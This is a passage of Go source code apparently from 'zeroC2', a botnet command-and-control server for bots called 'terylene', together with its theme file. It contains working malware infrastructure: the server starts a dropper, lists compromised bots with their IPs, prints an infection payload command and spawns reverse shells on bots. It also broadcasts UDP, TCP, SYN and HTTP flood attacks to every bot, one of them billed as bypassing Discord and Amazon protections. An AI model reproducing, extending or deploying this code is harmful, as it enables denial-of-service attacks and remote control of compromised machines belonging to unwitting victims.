meth.rawformat = format 681 | meth.flag_entries = flags 682 | 683 | break 684 | } 685 | 686 | color.Green("Name:%s\nMethod path:%s\nFormat:%s", meth.name, meth.path, meth.rawformat) 687 | fmt.Print("Are the information above correct? [Y/N]") 688 | 689 | scanner.Scan() 690 | result := scanner.Text() 691 | 692 | if strings.ToLower(result) == "y" { 693 | uploadmethod(meth, publisher) 694 | } else { 695 | fmt.Println("aborting operation...") 696 | return 697 | } 698 | } 699 | 700 | func valuecheck(value string, valuetype string) error { 701 | switch valuetype { 702 | case "string": 703 | return nil 704 | case "ip": 705 | out := net.ParseIP(value) != nil 706 | if out { 707 | return nil 708 | } else { 709 | return fmt.Errorf("%s is not an IP", value) 710 | } 711 | case "port": 712 | _, err := strconv.ParseUint(value, 10, 16) 713 | if err != nil { 714 | return fmt.Errorf("%s is not a valid port range", value) 715 | } 716 | 717 | return nil 718 | case "int": 719 | _, err := strconv.ParseInt(value, 10, 64) 720 | if err != nil { 721 | return fmt.Errorf("%s not a valid int64 value", value) 722 | } 723 | return nil 724 | case "uint": 725 | _, err := strconv.ParseUint(value, 10, 64) 726 | if err != nil { 727 | return fmt.Errorf("%s not a valid uint64 value", value) 728 | } 729 | return nil 730 | default: 731 | return fmt.Errorf("unknown value type: %s", valuetype) 732 | } 733 | } 734 | 735 | func deletemethod(methodName string, publisher *zmq.Socket) error { 736 | deleteMethodByName := func(slice []Method, name string) []Method { 737 | for i, method := range slice { 738 | if method.name == name { 739 | return append(slice[:i], slice[i+1:]...) 740 | } 741 | } 742 | return slice 743 | } 744 | 745 | deleteFromSlice := func(s [][]string, value string) [][]string { 746 | for i, row := range s { 747 | if len(row) > 0 && row[0] == value { 748 | return append(s[:i], s[i+1:]...) 749 | } 750 | } 751 | return s 752 | } 753 | 754 | found := false 755 | for _, method := range custom_methods { 756 | if method.name == methodName { 757 | found = true 758 | break 759 | } 760 | } 761 | 762 | if found { 763 | custom_methods = deleteMethodByName(custom_methods, methodName) 764 | Allmethods = deleteFromSlice(Allmethods, methodName) 765 | pubmutex.Lock() 766 | publisher.SendMessage("terylene", "deletemethod", methodName) 767 | pubmutex.Unlock() 768 | } else { 769 | fmt.Println("Custom Method", methodName, "not found", "(NOTE: you cant delete a builtin method or a method that doesnt exist)") 770 | return errors.New("method not found") 771 | } 772 | 773 | return nil 774 | 775 | } 776 | 777 | func main() { 778 | scanner := bufio.NewScanner(os.Stdin) 779 | 780 | terminalcolor, router, publisher := setup.Setup() 781 | 782 | defer router.Close() 783 | defer publisher.Close() 784 | 785 | go heartroutsend(router) 786 | go heartpubsend(publisher) 787 | go heartbeatcheck() 788 | 789 | go dropper.Dropstart() 790 | color.Green("[✔] successfully started zeroC2 dropper") 791 | go IPC() 792 | color.Green("[✔] successfully started zeroC2 IPC calls") 793 | 794 | fmt.Print("press enter to continue...") 795 | scanner.Scan() 796 | 797 | clearScreen() 798 | fmt.Print(poly.Welcome) 799 | go routerhandle(router) 800 | 801 | for { 802 | terminalcolor.Print(poly.Cmd) 803 | scanner.Scan() 804 | 805 | command := scanner.Text() 806 | command = strings.TrimSpace(command) 807 | if scanner.Err() != nil { 808 | fmt.Println("an error has occured", scanner.Err()) 809 | break 810 | } 811 | 812 | parts := strings.Fields(command) 813 | 814 | if len(parts) >= 1 { 815 | switch parts[0] { 816 | case "transfer": 817 | fmt.Println(transferprompt(command, router, publisher)) 818 | continue 819 | case "kill": 820 | fmt.Println(killprompt(command, router, publisher)) 821 | case "shell": 822 | if len(parts) != 2 { 823 | fmt.Println(poly.Shellhelp) 824 | continue 825 | } 826 | 827 | reversehandler(parts[1], scanner, router) 828 | case "addmethod": 829 | if len(parts) != 2 { 830 | color.Red(poly.AddmethodHelp) 831 | continue 832 | } 833 | addmethod(parts[1], publisher) 834 | case "deletemethod": 835 | if len(parts) != 2 { 836 | color.Red(poly.DeletemethodHelp) 837 | continue 838 | } 839 | deletemethod(parts[1], publisher) 840 | case "help": 841 | fmt.Print(strings.TrimLeft(poly.Help, "\n")) 842 | case "clear": 843 | clearScreen() 844 | case "exit": 845 | publisher.Close() 846 | color.Red("[✔] successfully shutdown broadcast") 847 | router.Close() 848 | color.Red("[✔] successfully shutdown router") 849 | os.Exit(1) 850 | case "methods": 851 | table := tablewriter.NewWriter(os.Stdout) 852 | table.SetHeader([]string{"Methods", "descriptions", "formats"}) 853 | 854 | table.SetHeaderColor( 855 | tablewriter.Colors{tablewriter.FgHiCyanColor, tablewriter.BgMagentaColor}, 856 | tablewriter.Colors{tablewriter.FgHiCyanColor, tablewriter.BgMagentaColor}, 857 | tablewriter.Colors{tablewriter.FgHiCyanColor, tablewriter.BgMagentaColor}, 858 | ) 859 | 860 | for _, v := range Allmethods { 861 | table.Append(v) 862 | } 863 | table.Render() // Send output 864 | case "list": 865 | fmt.Println("Number of bots:", len(aliveclient)) 866 | if len(aliveclient) != 0 { 867 | for _, bot := range tera { 868 | fmt.Printf("Bot ID: %s \narch: %s\nOS: %s\npublic ip: %s\nlocal ip: %s\n", bot.connID, bot.arch, bot.OS, bot.pubip, bot.localip) 869 | } 870 | } 871 | case "payload": 872 | fmt.Println("terylene payload:") 873 | if config.C2ip == "0.0.0.0" { 874 | newC2ip := getpubIp() 875 | fmt.Println(fmt.Sprintf(config.Infcommand, newC2ip)) 876 | continue 877 | } 878 | fmt.Println(fmt.Sprintf(config.Infcommand, config.C2ip)) 879 | default: 880 | methodsendhandler(command, publisher) 881 | } 882 | } 883 | 884 | } 885 | } 886 | 887 | func methodsendhandler(command string, publisher *zmq.Socket) { 888 | parts := strings.Fields(command) 889 | if len(parts) > 0 { 890 | if strings.HasPrefix(parts[0], "!") { 891 | containsBlocked := false 892 | //check if the method is builtin 893 | for _, value := range config.Methods { 894 | if parts[0] == ("!" + value) { 895 | for _, block := range config.Blocked { 896 | if strings.Contains(command, block) { 897 | containsBlocked = true 898 | } 899 | } 900 | if containsBlocked { 901 | return 902 | } 903 | 904 | if len(parts) == 4 { 905 | query := []string{"terylene"} 906 | 907 | if !isPublicIPv4(parts[1]) { 908 | color.Red("%s is not a public ip", parts[1]) 909 | continue 910 | } 911 | query = append(query, parts[1]) 912 | 913 | _, err := strconv.Atoi(parts[2]) 914 | if err != nil { 915 | color.Red("%s port is not integer", parts[2]) 916 | continue 917 | } 918 | query = append(query, parts[2]) 919 | 920 | _, err = strconv.Atoi(parts[3]) 921 | if err != nil { 922 | color.Red("%s duration is not integer", parts[3]) 923 | continue 924 | } 925 | 926 | query = append(query, parts[3]) 927 | 928 | broadcaster(query, publisher) 929 | clearScreen() 930 | fmt.Println(poly.Ddosmsg) 931 | return 932 | } else { 933 | fmt.Println("!" + fmt.Sprintf("%s ", value)) 934 | return 935 | } 936 | } 937 | } 938 | 939 | for _, value := range custom_methods { 940 | if parts[0] == ("!" + value.name) { 941 | for _, block := range config.Blocked { 942 | if strings.Contains(command, block) { 943 | containsBlocked = true 944 | } 945 | } 946 | 947 | if containsBlocked { 948 | return 949 | } 950 | 951 | if (len(parts) - 1) != len(value.flag_entries) { 952 | fmt.Println(value.displayformat) 953 | return 954 | } 955 | query := []string{"terylene", value.name} 956 | 957 | for i, value := range value.flag_entries { 958 | err := valuecheck(parts[i+1], value.entrytype) 959 | 960 | if err != nil { 961 | color.Red(fmt.Sprintf("%v", err)) 962 | return 963 | } 964 | query = append(query, parts[i+1]) 965 | } 966 | 967 | broadcaster(query, publisher) 968 | 969 | fmt.Println(poly.Ddosmsg) 970 | break 971 | } 972 | } 973 | } 974 | } 975 | } 976 | -------------------------------------------------------------------------------- /server/theme/default/default.go: -------------------------------------------------------------------------------- 1 | package poly 2 | 3 | // basic message 4 | const ( 5 | Title = ` 6 | 7 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠒⠒⠒⠒⠒⠒⠒⠒⢲⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 8 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠎⠀⠀⠀⠀⠀⠀⠀⣄⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 9 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡜⠀⡸⠁⠀⠀⠀⠀⠀⠘⡄⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 10 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡌⠉⠉⠉⠉⠉⠉⠀⡰⠁⠀⢠⣤⡄⣤⠀⠀⠸⡄⠀⠉⠉⠉⠉⠉⠉⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 11 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⢰⠂⠐⠒⠒⠂⠰⡇⠀⠀⠈⠉⠉⠉⠀⠀⠀⣹⠀⠐⠒⠀⠂⠠⡀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 12 | ⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⡼⠀⢠⠃⠀⠀⠀⠀⠀⠀⢹⡀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⠀⠀⠀⠀⠀⢷⠀⠘⣄⣀⣀⣀⣀⣀⣀⠀⠀⠀ 13 | ⠀⠀⠀⣰⠁⠀⠀⠀⠀⠀⠀⢠⠏⠀⠀⣲⣶⣶⣆⠀⠀⢱⡀⠀⠀⠀⠀⠀⢠⠏⠀⠀⣶⣶⣶⡆⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠘⡄⠀⠀ 14 | ⠀⠀⣰⠃⢀⠆⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠋⠀⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀⠀⠀⠀⠀⢳⠀⠸⡄⠀ 15 | ⠀⢠⠃⢀⡜⠀⠀⡀⠀⣀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⡀⠀⣀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⢀⡀⡀⣀⠀⠀⢃⠀⢱⡀ 16 | ⢰⠃⠀⡞⠀⠀⠘⠿⠟⠿⠀⠀⠀⢣⡀⣀⠀⠀⠀⣠⡎⠀⠀⠸⠗⠛⠿⠂⠀⠀⢣⣀⣀⠀⠀⠀⣠⠇⠀⠀⠸⠟⠷⠿⠀⠀⠈⠆⠀⢱ 17 | ⠘⣧⠀⢳⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⠀⠀⠀⠈⢣⠀⠀⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⡞ 18 | ⠀⠉⣆⠈⢣⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⢤⣤⣤⣄⠀⠈⢆⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⣤⣤⣤⡄⠀⠙⡄⠀⠀⠀⠀⠀⠀⢀⡞⠀⡼⠁ 19 | ⠀⠀⢘⠀⠀⡧⠀⠀⠀⠀⠀⢼⠀⠀⠀⠛⠙⠉⠃⠀⠀⢘⡦⠀⠀⠀⠀⠀⢾⠀⠀⠀⠙⠙⠋⠁⠀⠀⢘⠆⠀⠀⠀⠀⠠⣾⠀⢐⠃⠀ 20 | ⠀⢀⡎⠀⣰⠁⠀⠀⠀⠀⠀⠈⣆⠀⠀⠀⠀⠀⠀⠀⠀⡜⠀⠀⠀⠀⠀⠀⠈⣆⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀⠀⠀⠀⠈⡆⠈⢇⠀ 21 | ⢀⡞⠀⣰⠃⠀⠀⣦⣶⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ developed ⠀⠀⡜⠀⠀⢴⡖⣦⣶⡀⠀⠘⡄⠘⢆ 22 | ⢸⡄⠀⢇⠀⠀⠀⠁⠀⠈⠀⠀⠀⡸⠒⠀⠀⠐⠒ By ⠂⠀⠀⠀⠀⠺⡄⠀⠀⠈⠁⠁⠀⠀⠀⠀⡭⠀⣸ 23 | ⠀⠿⡀⠸⣆⠀⠀⠀⠀⠀⠀⠀⣰⠃⠀⠀⠀⠀⠀⠀⢸⣀ Poly ⠀⠀⠀⠀⠀⠀⠀⠽⡀⠀⠀⠀⠀⠀⠀⠀⣰⠁⣰⠃ 24 | ⠀⠀⢳⠀⠘⣄⠀⠀⠀⠀⠀⣠⠃⠀⠀⢽⠿⡿⠿⠀⢿⣿⠿⠷⠷⢷⡿⢿⢿⠷⠷⣷⠂⠀⠀⠀⠀⠀⢱⡀⠀⠀⠀⠀⠀⣰⠃⢠⠇⠀ 25 | ⠀⠀⡰⠀⢀⠏⠀⠀⠀⠀⠀⠹⡀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠂⠀⠀⠀⠀⠀⠸⡀⠀⠀⣴⣶⣴⣆⠀⠀⡰⠁⠀⠀⠀⠀⠈⠻⡀⠐⡆⠀ 26 | ⠀⣰⠃⢀⠎⠀⠀⣀⣀⣀⠀⠀⠱⡀⠀⠀⠀⠀⠀⠀⢠⠃⠀⢀⡀⣀⢠⠀⠀⢱⡀⠀⠉⠉⠉⠁⠀⢠⠃⠀⢀⣄⣀⣀⠀⠀⢣⠀⠸⡄ 27 | ⢰⠃⠀⡞⠀⠀⠀⠛⠛⠛⠀⠀⠀⢳⠀⠀⠀⠀⠀⢠⡇⠀⠀⠘⠛⠛⠛⠂⠀⠀⢳⠀⠀⠀⠀⠀⢰⠃⠀⠀⠙⠋⠛⠛⠀⠀⠀⠧⠀⢱ 28 | ⠘⣧⠀⢱⡀⠀⠀⠀⠀⠀⠀⠀⢀⠎⠀⠀⠀⠀⠀⠀⢳⠀⠀⠀⠀⠀⠀⠀⠀⢀⠏⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⠀⠀⠀⢠⠇⢀⡞ 29 | ⠀⠈⣦⠈⢱⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⢤⣤⣄⣤⠀⠈⢃⠀⠀⠀⠀⠀⠀⢀⡞⠀⠀⣤⣤⣤⡄⠀⠈⢆⠀⠀⠀⠀⠀⠀⢀⠏⠀⡞⠀ 30 | ⠀⠀⠘⣆⠀⠓⠀⠀⠀⠀⠀⢺⠀⠀⠀⠉⠈⠉⠁⠀⠀⢈⠇⠀⠀⠀⠀⠀⢾⠀⠀⠀⠉⠉⠉⠁⠀⠀⢸⠆⠀⠀⠀⠀⠀⠋⠀⡜⠁⠀ 31 | ⠀⠀⠀⠘⠤⠤⠤⠤⠤⠤⡄⠈⢇⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀⠀⠀⠀⠈⢆⠀⠀⠀⠀⠀⠀⠀⢀⡎⠀⡠⠤⠤⠤⠤⠤⠴⠁⠀⠀ 32 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀⠈⢆⠀⠀⠀⠀⠀⠀⡜⠀⠀⢰⡿⡷⣿⠀⠀⠈⢆⠀⠀⠀⠀⠀⢀⡎⠀⣰⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀ 33 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⡀⠀⠀⠀⠀⠀⠀⠘⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⠀⠀⠀⠀⠀⠈⠀⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 34 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠒⠒⠒⠒⠒⠢⡀⠘⡄⠀⠀⠀⠀⠀⠀⠀⡼⠁⢠⠒⠒⠒⠒⠒⠒⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 35 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⠀⠸⠄⠀⠀⣀⠀⠀⡴⠁⢀⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 36 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⠀⢀⡎⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 37 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀ 38 | 39 | ` 40 | Welcome = ` 41 | _____ ____ ____ 42 | |__ /___ _ __ ___ / ___|___ \ 43 | / // _ \ '__/ _ \| | __) | beta 0.2.4 44 | / /| __/ | | (_) | |___ / __/ 45 | /____\___|_| \___/ \____|_____| 46 | ` 47 | 48 | Cmd = "Z2::->(⋆♱✮♱⋆)>" 49 | 50 | Help = ` 51 | 52 | C2 COMMANDS 53 | methods -> list all the methods 54 | help -> help menu 55 | clear -> clear screen 56 | list -> list all bots 57 | payload -> get payload command 58 | 59 | TERYLENE COMMANDS 60 | transfer -> transfer/mitigate terylene bots to another zeroC2 server 61 | shell -> spawn a reverse shell on a terylene bot 62 | kill -> kill a terylene bot 63 | 64 | METHOD COMMANDS 65 | addmethod -> add a method and distribute to connected terylene bots 66 | deletemethod -> delete a method from the C2 and connected terylene bots 67 | 68 | OTHER COMMANDS 69 | exit -> exit 70 | ` 71 | Ddosmsg = `attack broadcasted to all terylene` 72 | 73 | InvalidIp = `Invalid ip address (must be a public ipv4 address)` 74 | 75 | Invalidport = `Invalid port` 76 | 77 | NoConnId = `No such ConnID` 78 | ) 79 | 80 | // transfer message 81 | const ( 82 | Transferhelp = `transfer ` 83 | 84 | Nobots = `you dont have any online bots sadly :(` 85 | 86 | InvalidNumber = `number is invalid` 87 | 88 | NoMitigation = `Mitigation cancelled` 89 | 90 | MitSuccess = `Mitigation succeeded` 91 | ) 92 | 93 | //kill message 94 | 95 | const ( 96 | Killhelp = `kill ` 97 | Killallsuc = `all terylene has been killed` 98 | Killone = `%s has been killed` 99 | ) 100 | 101 | // method management 102 | const ( 103 | AddmethodHelp = `addmethod ` 104 | DeletemethodHelp = `deletemethod ` 105 | ) 106 | 107 | var ( 108 | AllMethods = [][]string{ 109 | {"UDP", "UDP flood", "!UDP "}, 110 | {"TCP", "TCP flood", "!TCP "}, 111 | {"SYN", "SYN flood", "!SYN "}, 112 | {"HTTP", "HTTP get flood", "!HTTP "}, 113 | {"UDPRAPE", "Crafter UDP flood", "!UDPRAPE "}, 114 | {"UDP-VIP", "UDP flood to bypass discord, amazon and more", "!UDP-VIP "}, 115 | } 116 | ) 117 | 118 | // interaction shell message 119 | // Font 120 | const ( 121 | Shellart = ` 122 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡤⠐⠒⠒⠒⠐⠒⠂⠠⢄⡀⠀⠀⠀⠀⠀⠀⠀⠀ 123 | ⠀⠀⠀⠀⠀⠀⣠⠔⠚⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠢⣄⠀⠀⠀⠀⠀ 124 | ⠀⠀⠀⢀⡴⠊⠀⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢦⠀⠀⠀ 125 | ⠀⠀⢀⠞⠺⡇⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⡄⠀ 126 | ⠀⢀⢇⡀⠀⢹⡄⠀⢳⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡀ 127 | ⢀⡞⠘⣿⡄⠈⢷⡀⠘⣇⠀⢰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠃ REVERSE SHELL ESTABLISHED 128 | ⢸⢓⣆⠈⢿⣄⠈⣷⠀⢻⡀⢸⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⢠ 129 | ⠀⡟⡻⣷⡄⢻⣆⠘⣧⠈⣇⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠠⠀⠐⣿ 130 | ⠀⠱⡻⣮⣿⣦⡻⣦⠸⣆⢹⡄⢻⠀⠀⠀⠀⠀⠀⠀⠀⢠⠞⢠⠞⠀⠀⡼⠁ 131 | ⠀⠀⠑⢌⡿⣿⣷⣽⣧⣹⡄⣧⢸⡀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⠞⠁⠀ 132 | ⠀⠀⠀⠀⠈⠻⣝⢿⣿⣿⣿⣾⣞⡇⡁⠀⠀⠀⠀⠀⠀⠀⣠⠔⠋⠀⠀⠀⠀ 133 | ⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣶⣤⣤⣀⠀⣠⡀⡸⠃⠀⠀⠀⠀⠀⠀ 134 | ⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠩⠭⠭⠭⠭⠭⠭⠭⠬⠔⠚⠋⠀⠀⠀⠀ 135 | ` 136 | Shellart2 = ` 137 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣶⣶⡶⠴⠒⠒⠒⠒⠒⠒⠲⢤⣀⣴⣶⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 138 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⣾⠟⠁⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⢨⣿⣿⠟⠛⠒⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 139 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡼⣵⠃⠀⠀⡴⠁⠀⠀⠀⠀⡄⠀⠀⠀⢸⣿⣿⠀⠀⠀⠀⠱⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀ 140 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡜⠁⢸⠀⢀⠼⡇⠀⠀⠀⣠⠞⠻⡄⠀⠀⠀⠙⣿⠀⠀⠀⠀⠀⢱⠀⠀⠀⠀⠀⠀⠀⠀⠀ 141 | ⠀⠀⠀⠀⠀⠀⠀⠀⣠⠎⢀⠆⢸⡄⣾⣤⣇⠴⠒⠉⢠⣶⣶⣼⡄⠀⠀⡄⢸⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⠀⠀⠀⠀ 142 | ⠀⠀⠀⠀⠀⣀⠴⠊⠀⠀⠈⠀⣼⢹⢻⣿⣿⠀⠀⠀⠀⡿⣯⡿⢻⣄⡰⠁⣼⠀⠀⠀⠀⠀⠀⠸⡄⠀⠀⠀⠀⠀⠀⠀ 143 | ⠀⠀⢀⡴⠊⠁⠀⠀⠀⠀⠀⠀⢸⣨⠀⠃⠛⠀⠀⠀⠀⠑⠒⢁⠜⠈⠁⣰⣿⡆⠀⠀⠀⠀⠀⠀⠈⠓⠤⣀⠀⠀⠀⠀ 144 | ⠀⢠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⢿⣄⠀⠀⢸⡉⠉⣹⠀⢠⠎⠀⣠⣾⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢦⡀⠀ 145 | ⢠⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣤⣟⣓⣦⣤⣬⠭⣤⢴⣿⣾⣿⣿⣾⣿⠛⠙⢢⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠱⡄ BYE BYE 146 | ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⡴⣿⡛⢿⣿⣿⣿⡧⢿⠖⠙⡖⠿⠿⣿⣿⢹⢹⣶⠖⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢱ 147 | ⠸⡀⠀⠀⠀⠀⠀⢀⡤⠞⠦⠺⣷⣤⡽⠻⠃⡰⠃⠀⠀⢣⠀⠀⠀⠈⠉⠛⠁⠀⠀⠈⠢⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸ 148 | ⠀⠳⡀⠀⠀⡠⠖⠉⠀⠀⠀⢻⠹⣿⢿⣁⡭⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢤⡀⠀⠀⠀⠀⢀⡎ 149 | ⠀⠀⠈⠳⠼⠁⠀⠀⠀⠀⣠⡾⢷⣌⡟⠿⣷⣶⣿⣻⣿⣶⣾⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠆⠀⢀⡠⠋⠀ 150 | ⠀⠀⠀⠀⠀⠀⠀⠰⡶⣿⣿⣿⠶⠋⠉⠓⢤⡭⠭⣙⣛⣞⣛⣳⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠉⠀⠀⠀ 151 | ⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠋⠁⠀⠀⠀⢀⣾⣷⣦⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 152 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠟⢿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 153 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠧⠤⠼⠁⠀⠀⠀⠀⠀⠀⠀ 154 | ` 155 | Shellart3 = ` 156 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 157 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 158 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠔⣱⢃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 159 | ⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠀⠰⠀⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠔⣁⠴⢫⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 160 | ⠀⠀⠀⡏⠣⡀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠡⠀⢃⠰⠀⠀⢣⠀⠀⠀⠀⠀⠀⠀⢀⡤⢊⡡⣚⠥⠞⡳⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 161 | ⠀⠀⢠⡸⡀⠙⢆⠀⠀⠀⠀⠀⠀⠠⡈⢄⠱⠈⣄⣢⣬⣤⣤⣤⣀⣀⣀⣠⣖⢕⢜⣿⡭⢐⣒⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 162 | ⠀⠀⠘⢎⠳⣄⠈⣣⡀⠀⠀⠀⠀⢈⣨⣴⣾⣻⠿⠿⣛⣛⣛⡛⠛⠛⢻⡉⠙⢿⢒⡪⡯⣝⡛⣟⠓⠒⠒⠒⠒⢒⣒⣲⡖⠂⠀⠀ 163 | ⠀⠀⠸⣝⠣⣈⠳⡼⣳⡄⠀⣠⣴⣿⠕⠋⠁⢀⣴⣿⣿⣷⣴⣿⣿⢦⣀⠙⢦⠋⡳⢿⡇⢙⡟⠭⣛⠒⠠⠄⣀⣀⠤⠞⠁⠀⠀⠀ 164 | ⠀⠀⠰⢬⠶⠤⢽⡲⡽⢱⡼⣫⠚⠁⢀⣴⢾⣿⢩⢛⢫⣽⣿⢿⣿⢿⣿⢿⣿⣦⣃⢭⠇⣙⠎⣍⢪⣙⡒⢶⣒⠒⠋⠀⠀⠀⠀⠀ 165 | ⠀⠀⠀⠠⣍⣒⡲⡽⡇⣾⡟⠁⢀⡴⣋⢿⣿⣯⣤⣬⢡⣿⡏⣾⣿⡯⣿⣻⣯⡻⣾⣿⣷⣿⣞⣌⢷⠱⠀⡨⢁⠄⠀⠀⡀⠀⠀⠀ 166 | ⠀⠀⠀⠀⢀⠎⣰⣎⣕⡟⠀⢠⣿⢿⣿⣿⠟⡿⣎⣻⣿⣿⣷⣿⠯⢮⡻⣿⣿⣯⣾⡟⣿⣿⣿⣿⣿⣳⠈⢂⠡⠄⠂⣉⠀⠤⠀⠂ 167 | 